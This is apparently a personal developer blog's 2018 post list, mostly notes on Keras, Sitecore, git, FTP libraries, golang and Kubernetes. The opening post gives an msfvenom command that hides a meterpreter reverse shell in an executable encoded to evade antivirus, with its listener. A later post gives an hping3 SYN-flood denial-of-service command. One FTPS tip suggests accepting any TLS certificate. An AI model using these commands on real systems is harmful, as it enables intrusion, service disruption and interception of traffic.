Posts

Showing posts from 2018

msfvenom creating a reverse shell and evading payload from av

There are two types of shell namely bind and reverse shell. Bind shell creates a new service  and attacker connect to this service.

Reverse shell on the other hand, is triggered by the user while an attacker runs some listener and target machine.

msfvenom allows hacker to create / re-create a payload and hide it from AV detection.


The command below, hides our payload / attack using reverse_tcp using an encoder called shikata_ga_nai into a file called chess.exe.



msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe

To listen to any victim, we will issue the following commands :-


msf >use exploit/multi/handler

msf > set payload windows/meterpreter/reverse_tcp





hping3 - packet crafting

Hping3 is a ping command but slightly more advance.


Simple use case scenario

Get traceroute for a host

hping3 --traceroute -V -1 0daysecurity.com
Sends a Syn packet to port 80.
hping3 -V -S -p 80  0daysecurity.com


Advance use case scenario


xmas scan

hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF 0daysecurity.com
null scan - if target port is closed, it sends TCP RST. If it is open, the target discard TCP NULL scan, sending no reply
hping3 -c 1 -V -p 80 -s 5050 -Y 0daysecurity.com
DOS Lan Attack 

hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP--flood: sent packets as fast as possible. Don't show replies.--rand-dest: random destionation address mode. see the man.-V <-- li="" verbose=""> -c --count: packet count-d --data: data size-S --syn: set SYN flag-w --win: winsize (default 64)-p --destport [+][+] destination port(default 0) ctrl+z inc/dec-s --baseport: base source port (default random)

zenmap commonly used for scanning a network

zenmap is a port scanning tool. To fire this up in Kali Linux, goto Application -> Information Gathering -> ZenMap UI.

Commonly used command :-


a) nmap 192.168.0.0/25

send TCP SYNC to 1000 common ports. Also send imcp echo request to check if server is up

b) nmap -O 192.168.1.1

identify operating system of the host

c) nmap -sL 192.168.1.1

Do a simple DNS query for a specified ip and discover hostname in a network without querying individually servers in a network


d) nmap -sS -sU -PN 192.168.0.164 -

-sS is a stealth scan

-sU initiates a UDP scan


e) nmap -T4 -A 192.168.0.100

Performs aggressive scanning with -A option

f) nmap -T4 -F -v 192.168.0.100

Performs a fast scan with -F option while -v means verbose.








cnn from scratch with keras - code review

This post gives a working sample of training neutral net with cnn in keras.

CNN setup is based on Yan LeCun configuration.



model = Sequential() model.add(Conv2D(32, (3, 3), input_shape=input_shape)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(32, (3, 3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(64, (3, 3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Flatten()) model.add(Dense(64)) model.add(Activation('relu')) model.add(Dropout(0.5)) model.add(Dense(1)) model.add(Activation('sigmoid'))

model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy'])

validation_generator = test_datagen.flow_from_directory( validation_data_dir, target_size=(img_width, img_height), batch_size=batch_size, class_mode='binary')
test_datagen is of type ImageDataGenerator which helps with gen…

"C:\Microsoft.Cpp.Default.props" was not found.

I was getting this error when running npm install.

The imported project "C:\Microsoft.Cpp.Default.props" was not found. Confirm that the path in the declaration is correct, and that the file exists on disk.
Solution :-

SET VCTargetsPath=C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\v140

Thanks to Stackoverflow for this answer! :)






understanding keras 's layer

dot - computes a dot product between 2 tensors. Just like doing multiplication.

conv2d - creates a convulsion - a square box that you hover over a 2d image matrix.

maxPool2d - taking the max values out of a stride after we iterate our image with a predefined filter size. Small little window walks through our image to produce a matrix - which made up of biggest value of a filter.

To see more please read from this link here.

https://www.quora.com/What-is-max-pooling-in-convolutional-neural-networks

dense layer - it is a linear function which maps input directly to output based on a predefined weight. sometimes weight can be a softmax function.



dropout is a techniques used to prevent over fitting in neural network. Performs averaging and prevent co-adaptions.





Sourcetree - pulling remote branch to your local drive

Image
To pull remote branch into your sourcetree is pretty easy with sourcetree.

Double click on any of the branch below :-






then you will be prompted with the following screen :-



Just provide a name and you will get your remote branch downloaded locally.




Git - reset all local changes and commit then sync with remote branch

If you ever need to discard local change and sync everything from the start



git reset --hard origin/develop (develop is your remote branch)

git pull origin develop  (just funny they omit the slash here

This is all you need. 

classifying text sentiment simple way

Once of the easiest way to classify a text sentiment is to use the following Keras code :-

A Git a day : Merge vs rebase

Image
Merge combines commit from say a master branch into a feature branch while retaining history from both branch.


Rebase places new changes on top of a master branch. While the picture looks fine, all changes from feature branch are sync with master's commits. If this is the other way around, rebasing master in feature branch, then master commits will be lost.

So the golden rule of using rebase is :-

Is anyone looking / using this branch before we do our rebasing. We don't want to change history for master and confuse developers.

If you want to use rebase, create a feature branch.




Interactive rebasing - here you get to choose which histories you want to be included in the commit.

Sitecore Commerce server configuration : value cannot be null

Image
Bump into this error and i decided to disable my Sitecore from using SiteCore Commerce server. 




So go into App_Config and then rename CommerceServer.Core.config to CommerceServer.Core.config_disabled.

Try to refresh your browser

COM services control panel (comexp.msc)

It has been such a long time that i had to deal with COM service. The command to kick off this is called "comexp.msc". 

Image
I find the following information is relevant when it comes to FTP over TLS, that i ripped it out of Fluent FTP site.

These are the commands issued by the client to configure / setup channel to use a  TLS .

Outputs coming out from console are show here.




FTP Support
Mapping table documenting supported FTP commands and the corresponding API.. Connection commands CommandAPIDescriptionUSER, PASSCredentialsLogin with username & passwordQUITDisconnect()DisconnectPASV, EPSV, EPRTDataConnectionTypePassive & Active FTP modesFEATHasFeature()Get the features supported by serverSYSTGetSystem()Get the server system typeOPTS UTF8 ONEncodingEnables UTF-8 filenamesOPTS UTF8 OFFEncoding, DisableUTF8()Disables UTF-8 filenamesAUTH TLSEncryptionModeSwitch to TLS/FTPSPBSZ, PROTEncryptionMode and
DataConnectionEncryptionConfigure TLS/FTPS connectionCCCPlainTextEncryptionSwitch to plaintext FTPPRETAutomaticPre-transfer file informationTYPE AUploadDataType and
DownloadDataTypeTransfer data in ASCIITYPE …

fluent ftp - transferring file securely

I don't think you will believe this but to transfer or upload a file securely, all you need to do with fluent ftp is the following :-

I download and trace through fluent ftp code and this is as fluent as it can get.





If you get "unexpected format " - this means the protocol you specified is not supported by your server. Please find out

Transfering files via FTPS

Image
WinSCP provides easy to use nuget library to work with FTP, FTPS (Secure FTP over SSL /  TLS) and SFTP (ssh over ftp)

In my scenario, I am trying to transfer file via FTPS.

If you need some help with the codes, download the WinSCP installer and try connecting to the server and try out the supported protocol like ssl, tls or ssh. Goto -> Session -> Generate Session URL / Code.




To help you figure out the code, you can try looking at .Net assembly code tab.





So this will help you resolve many of the issue trying understand how to configure your session.


Some common error messages you will get includes :-

"SessionOptions.Protocol is Protocol.Sftp or Protocol.Scp, but SessionOptions.SshHostKeyFingerprint is not set." - Please try out approaches above.

You can always use "GiveUpSecurityAndAcceptAnyTlsHostCertificate" or "GiveUpSecurityAndAcceptAnySshHostKey".










Creating a ftp upload client

Creating a ftp client is relatively easy. I got it working with the following code snippet.  The problem i had was with parsing the url with filename before i can upload a file. Tricky...


Getting result from HttpResponseMessage

The fastest way to get json out of a HttpClient's GetAsync method is shown in code below :-

var result = await response.Content.ReadAsStringAsync();

Error : Cannot find type [Microsoft.SqlServer.Management.Smo.RelocateFile]:

Image
I have multiple version of Microsoft.SqlServer.Management.So installed, from version 10.0, 11.0, 12.0 and 13.0.

Tried adding the following text on top of my script


[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoExtended, Version=13.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91") | Out-Null [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoExtended, Version=13.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91") | Out-Null
And same error. Wow!

Until i bump into this site and made the following change.


Powershell runs as expected. Sweet!
If your path points to version 12, please change it and points to version 13 as shown above.



facebook field guide to machine learning series.

https://research.fb.com/the-facebook-field-guide-to-machine-learning-video-series/

Sitecore controller rendering simple example

Image
I think the trick to go about setting up a project for this are :

a) Add reference to Sitecore.kernel and Sitecore.Mvc manually

b) Create a blank project and as you add "Empty Controller", the required folders will be added for you

c) Manually copy .dll to your Sitecore 9 project.






Creating your controller code base 

Create your controller just like how you would do it for asp.net, which means you create controller, model and view.

Model 




Controller 




View




Integrating it to the code layout in sitecore - all you need is @Html.Sitecore().Rendering







Failed to start service 'Sitecore XConnect Search Indexer - xp0.xconnect-IndexWorker

I bump into this error earlier and for the longest time trying to figure out why this is happening.

After can't get it to start .... i restarted my computer and ran the installation until it crashed and get this beautiful message.

Then i edited my script to force it to continue......... Same scripts just small change. Please have a look at Line 49. Re-execute the same script again. Good luck. You might have to restart your computer a couple of times in case SOLR don't like you so much.










Sitecore rocks - unable connect to server in visual studio

After installing sitecore rocks 2.1,  still have problem connect to my local sitecore.  This is really puzzling.

Turn out, there is an issue with user permission (although i ran my Visual Studio community in Administrator mode).

Edit web.config and change to the following configuration.



Installing Local Development of SiteCore 9 - step by step.

Pre-requisite (version must match otherwise good luck :) 

Powershell 5.0

Webdeploy 5.0

Site core main files

Download and extract sitecore 9.0 files from here.)

Extract this file and then (XP0 Configuration files rev.171002.zip) -this will get some json files extracted.

Using powershell prompt running in Administrator mode, execute the following command :-

Install-Module SitecoreInstallFramework

Import-Module SitecoreInstallFramework 

solr solr_6.6.2 (must match)

nssm - to install solr as windows service (must) - install using chocolatey

Please ensure you setup your JAVA_HOME otherwise, running it as a Window Service, otherwise you will get error.

Sql server 2016 - you must have this version installed. Sitecore will not install successfully if you don't

In case your script fails half way

1. Restart your solr window service

2. Delete databases the script created example xp0_Processing.Pools, xp0.ReferenceData

Then re-run the script.


Modify your solr.in.cmd file to remove REM comments to…

Predicting value from using keras mnist sample data

In this example, we use Keras to do a simple prediction. Here is the code for doing it.

x_train[0]  has the value 8 and the prediction shows column 8 gives the highest probability.






simple keras classification model

The following keras script demonstrate a simple classification problem using neural network. The  neural network is made up of 3 layers and the key here is using sgd as it optimizer.



The following code also give a pretty good classification sample based on the same data set. 







migrating asp.net core 1.0 to 2.0

Image
To migrate, you need code change

Code change

Net Core 1.0

            var host = new WebHostBuilder()
                .UseKestrel()
                .UseContentRoot(Directory.GetCurrentDirectory())
                .UseStartup().UseUrls("http://localhost:5050")
                .UseApplicationInsights()
                .Build();

            host.Run();


Net Core 2.0

         BuildWebHost(args).Run();

        public static IWebHost BuildWebHost(string[] args)
       => WebHost.CreateDefaultBuilder(args).CaptureStartupErrors(true)
         .UseStartup()
         .Build();


Nuget packages update 
We need to upgrade all the nuget packages - which include Application.Insights, Microsoft.AspNetCore and EntityFramework. 

Window Hosting Bundle
Install Windows Hosting Bundle 2.0 and above.

Potential Error that you might see are :-

Method not found: 'System.IServiceProvider Microsoft.Extensions.DependencyInjection.ServiceCollectionContainerBuilderExtensions.BuildServiceProvider'
The…

Deep RL lectures

https://sites.google.com/view/deep-rl-bootcamp/lectures


First go-lang at moby client's

Docker has transition their engine API to msoby and i have the opportunity to play with it.

https://github.com/moby/moby/tree/master/client

Using the code, I stumble into the following error.  "

"Error response from daemon: client version 1.37 is too new. Maximum supported API version is 1.35"

Still trying to figure out how i can get around this.

You need to have a command prompt / terminal that is setup to run docker command, as describe here.

asset project.asset.json not found after installing AWS nuget package

"asset project.asset.json not found" -  go to command prompt and change directory into your project folder. Then run "dotnet restore".

That should fix it.

aws .net nuget packages

Nuget packages for working with AWS specific services :-

a) AWS DynamoDB -

b) AWS SNS - Install-Package AWSSDK.SimpleNotificationService -Version 3.3.0.28

c) AWS RDS -

d) S3 - Install-Package AWSSDK.S3 -Version 3.3.18.1

e) AWS SNQ - Install-Package AWSSDK.SQS -Version 3.3.3.6

reactjs quick project setup with local server

I have been going around searching for some cli to setup and start development on react app, which can be time consuming. It is not as complete as angular but hey reactjs is really fast. You can just get started with this project here. It support ES6 (via Babel) not typescript.

Remember to get your project started, quickly clone

https://github.com/facebook/create-react-app


Run npm install  (please make sure you have latest npm install

npm install npm@latest -g (basically gives you npx which is required)

To start the local server, run 'npm start'

That's it! Reactjs ready to worked on.

Entity framework core entity - self referential table

Image
Say you have a self referencing table, that looks something like this (Root nodes points to null which signifies end of hierarchical organization.




We defined our Process model using code below :-




Next we need to tell EF our relationship

In the OnModelCreating method, use the following code to define relationship


modelBuilder.Entity().HasMany(p => p.SubNodes).WithOne(p => p.ParentNode).HasForeignKey(p => p.ParentId);

It basically says that we can have many SubNodes, one Parent node - which make sense right. We can have many parent.

Full code can be found here.







This code retrieve all the Process and its child (subnodes)


var result = p.Process.Include(a => a.SubNodes).Include(c => c.ProcessViewingHistory).AsNoTracking().ToList();

The code to pull out all, is show below :-








working with alexa skills - right places to get info

First up, if you're developing from Alexa Blueprint Skill you can change much. Pretty much use it out of the box. For example, Q&A skillset :-

User : How to apply leave?

Alexa : Go to this page, then navigate to ....etc.

That's it.

If you need to call a custom endpoint, you need to create custom skillset which can be found in the Alexa Console.  The right place to get info is from here. This will give you an understanding of AWS Built in intents etc.


Ethereum : Create a greeter

In the ethereum's greeter sample, if you following it here,  it requires user to save the following code into a file, say greetcontract.js


contract Mortal { /* Define variable owner of the type address */ address owner; /* This function is executed at initialization and sets the owner of the contract */functionMortal() { owner = msg.sender; } /* Function to recover the funds on the contract */functionkill() { if (msg.sender == owner) selfdestruct(owner); } } contract Greeter is Mortal { /* Define variable greeting of the type string */ string greeting; /* This runs when the contract is executed */functionGreeter(string _greeting) public{ greeting = _greeting; } /* Main function */functiongreet() constantreturns (string) { return greeting; } }


To run it, you fire up your geth console.

Then type the followings :-

loadScript("greetcontract.js")      // case sensitive

if you get an error saying  invalid account try…

golang - different ways of initializing your struct /class

Different ways of initializing your struct

// Util.go

package main type StringHelper struct { } func (sh StringHelper ) ToUpper() string{ return "TOUPPER"}Different ways of initializing :// 1st var a StringHelpera.ToUpper()// 2nd b := new(StringHelper) b.ToUpper()// 3rdc := StringHelper{} c.ToUpper()I kinda prefer 3rd way of doing it.

golang - getting top libraries used in the community

Click on the following link to get all this info.

building kubernetes on your local machine - docker

Image
In case you would like to build kubernetes on your docker machine, please do the following :-

a) Download and run the following Dockerfile.




b) Next, run the following comand - "docker run -it /bin/bash

c) apt-get update

d) apt-get install rsync

e) go get -d k8s.io/kubernetes

f) cd $GOPATH/src/k8s.io/kubernetes

g) make 


And if all things goes well, you will get the following screen :-





That's it! :)

first golang package

I created my first golang package (library - not an executable). My code which i ripped off the internet can be found here.

https://github.com/appcoreopc/gomath

Then i do a "go get github.com/appcoreopc/gomath" - (without the https) and it gets build and move to a folder called package in Golang environment.

You can try to rebuild it by trying "go install".


using nsubstitute to mock dbset

I thought this is going to be a one off thing until i realized that i have to do this quite often. Using nsubtitute to mock my database layer.

So here are the codes that i wanna share, as i know it is going to be the same (most of the time)


javascript slice vs splice

In English, slice is used to get portion of a string without modifying the original array, for example :-
It takes 2 parameter, start and end. Very different from splice.

Say we have the following array :-

Slice 


a = [1,2,3,4,5]

a.slice(0,1)
[1] // return

a.slice(0,2)
(2) [1, 2] 

a.slice(1,2)
(2) [2, 3]

a => values stay intact

(5) [1, 2, 3, 4, 5]


Splice 

This function takes portion of the string and change original value of your array. Splice accepts

index - which position to start

howmany

optional item to be added into the list

You will also notice that value of a is changed.


a.splice(1,2)
(2) [2, 3]
a
(3) [1, 4, 5]


It is quite different function.



angular2 http delete with body

To answer your question, angular2 above do not support http.delete with "body". The Http specs didn't agree or disagree. HEre is normally how you do it




If you need to send the body, then you need to use http.request method as shown in code below :-

helming

Image
First of all download your helm version.

To serve your chart locally

helm serve
Normally, your local repository will be here C:\Users\Jeremy\.helm\repository\local on Windows.




You can see that we have a folder call vistio.

To install this chart, simply run :-

helm install local/vistio

Why local? If you type  helm repo list , you can see that the "local" refers to a local repository.

NAME    URL
stable  https://kubernetes-charts.storage.googleapis.com
local   http://127.0.0.1:8879/charts

Please note :- 
helm list repo is not the same as helm repo list , please make sure you type it correctly. 





Getting the right Powershell dependencies version.

Install-Module PowerShellGet -Force
Installing the Azure Resource Manager

Install-Module -Name AzureRM -AllowClobber
Loading your azure module

Import-Module -Name AzureRM

hosting .net core on windows 10 iis

I guess this must have been public knowledge by now. Oh wells sometimes I thought with .net core 2.0 plus, we would move pass the need to install ".net core web hosting bundle". I am not able to run or host .net core app on IIS. My app is running fine, when i start it with "dot net Appreport.dll"

Regardless if you're deploying to Prod or trying to run your app locally, as long as you are trying to run .net core app on IIS, install .net core.

Getting latest version

To get latest version of the window hosting bundle or other version, goto this page.

Select the Runtime version you desire and then, look for "Hosting Bundle".  Download accordingly.

iis manager missing

Image
This is really insane but inetmgr is missing. and the fix is go to Windows Feature Add or Remove and then check - "IIS Management Console" as shown in diagram below.




golang app - running it on docker image.

This is a very simple approach to push your app into a docker image. First you need your Dockerfile which does all the hardwork for you, as shown below :-








Sample code can be found here.

https://github.com/appcoreopc/goRestService


If you want to run on kubernetes, the following yaml describe this deployment. Save this into a file called muxApp.yaml and then run kubectl apply -f deployment.yaml.




This is the service.yaml file by running "kubectl apply -f appservice.yaml"